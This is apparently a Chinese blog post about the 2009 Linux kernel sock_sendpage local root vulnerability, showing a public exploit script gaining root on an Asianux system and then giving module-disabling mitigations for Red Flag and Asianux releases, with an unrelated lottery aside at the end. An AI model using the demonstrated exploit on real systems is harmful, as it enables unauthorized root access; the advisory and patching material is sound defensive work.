最近又接手了几个关于系统漏洞的问题,这个问题是2009年的事情,却未能引起某些部门的重视。2009年8月11日,国外黑客taviso和julien公开了可以攻击所有新旧Linux系统的一个漏洞,该漏洞影响自2001年以来所有2.4.x和2.6.x 的核心版本及其分支。包括但不限于RedFlag、RedHat、CentOS、Suse、Debian、Ubuntu、Slackware、Mandriva、Gentoo及其衍生系统。通过此漏洞,普通用户可轻易获得root权限,即使开启了SELinux也于事无补!

一、攻击演示:
以 Asianux3 sp1 x86-64 系统为例,使用work用户执行攻击脚本。
1、work用户当前情况
[php]
[work@ASIANUX3SP1-64 wunderbar_emporium]$ id
uid=512(work) gid=512(work) groups=512(work)
[work@ASIANUX3SP1-64 wunderbar_emporium]$ uname -a
Linux ASIANUX3SP1-64 2.6.18-53.11AXS3 #1 SMP Tue Aug 19 20:58:04 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux
[/php]

2、执行攻击脚本,并成功提权
[php]
[work@ASIANUX3SP1-64 wunderbar_emporium]$ ls
exploit exploit.c pwnkernel.c tzameti.avi wunderbar_emporium.sh
[work@ASIANUX3SP1-64 wunderbar_emporium]$ ./wunderbar_emporium.sh
[+] MAPPED ZERO PAGE!
[+] Resolved security_ops to 0xffffffff8047a740
[+] Resolved sel_read_enforce to 0xffffffff80122c75
[+] got ring0!
[+] detected 2.6 style 4k stacks
sh: mplayer: command not found
[+] Disabled security of : nothing, what an insecure machine!
[+] Got root!
sh-3.1#
sh-3.1# id
uid=0(root) gid=0(root) groups=512(work)
sh-3.1# uname -a
Linux ASIANUX3SP1-64 2.6.18-53.11AXS3 #1 SMP Tue Aug 19 20:58:04 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux
[/php]

如果有人想测试下,可以下载 wunderbar_emporium-3.tgz,进行实验,但对系统造成的任何后果,需要自己承担。

二、漏洞修补:
该漏洞涉及系统版本很广,单以Red Flag系统版本为例,进行漏洞修补:

1、Red Flag DC Server 4.0 和 4.1 (核心2.4.* ) 系统
在Red Flag DC Server 4.0 和 4.1 (核心2.4.*)的系统上,默认是没有 bluez 模块的,所以,不需要做任何操作。
执行下面命令
[php]modprobe -l | grep bluez[/php]
可以查看是否含有 bluez 模块。
如果手动安装或加载过 bluez 模块,则需要在 /etc/modules.conf 文件中加上
[php]install bluez /bin/true [/php]
并重启系统。

2、Red Flag DC Server 5.0 (核心2.6.9-* )系统
在Red Flag DC Server 5.0系列(核心2.6.9-* )的系统上,需要修改 /etc/modprobe.conf 并加入以下内容
[php]
install pppox /bin/true
install bluetooth /bin/true
install appletalk /bin/true
install ipx /bin/true
install sctp /bin/true
[/php]
添加完内容后,执行 /sbin/lsmod | grep -e ppp -e blue -e app -e ipx -e sct 如果没有输出,则不需要重启,如果有输出,则需要重启系统,上面内容才能生效。

3、Asianux 3.0 标准版 (2.6.18-8.10AX) 和 Asianux 3.0 sp1 (2.6.18-53.11AXS3) 系统
在Asianux 3.0 标准版 (2.6.18-8.10AX) 和 Asianux 3.0 sp1 (2.6.18-53.11AXS3) 系统上,也需要修改 /etc/modprobe.conf 并加入以下内容
[php]
install pppox /bin/true
install bluetooth /bin/true
install appletalk /bin/true
install ipx /bin/true
install sctp /bin/true
[/php]
添加完内容后,执行 /sbin/lsmod | grep -e ppp -e blue -e app -e ipx -e sct 如果没有输出,则不需要重启,如果有输出,则需要重启系统,上面内容才能生效。

4、Asianux 3.0 sp2 (2.6.18-128.7AXS3) 和 Asianux 3.0 sp3 (2.6.18-194.1.AXS3) 系统
这些攻击对 Asianux 3.0 sp2 (2.6.18-128.7AXS3) 和 Asianux 3.0 sp3 (2.6.18-194.1.AXS3) 系统 没有效果,可以不用做任何操作,当然,如果加上上面内容,也不会对系统产生任何负面影响。

参考资料
https://bugzilla.redhat.com/show_bug.cgi?id=516949
http://baoz.net/linux-sockops-wrap-proto-ops-local-root-exploit/
http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html

BTW:
昨天买双色球,第2010149期
01 08 15 18 27 30 04
04 07 11 17 26 27 09
02 06 08 17 24 30 08
02 05 10 16 29 33 08
01 05 08 17 21 25 14

结果中奖号码为:
02 07 08 16 25 30 09

很相似了~~~顺道怀念下当年的4+1~~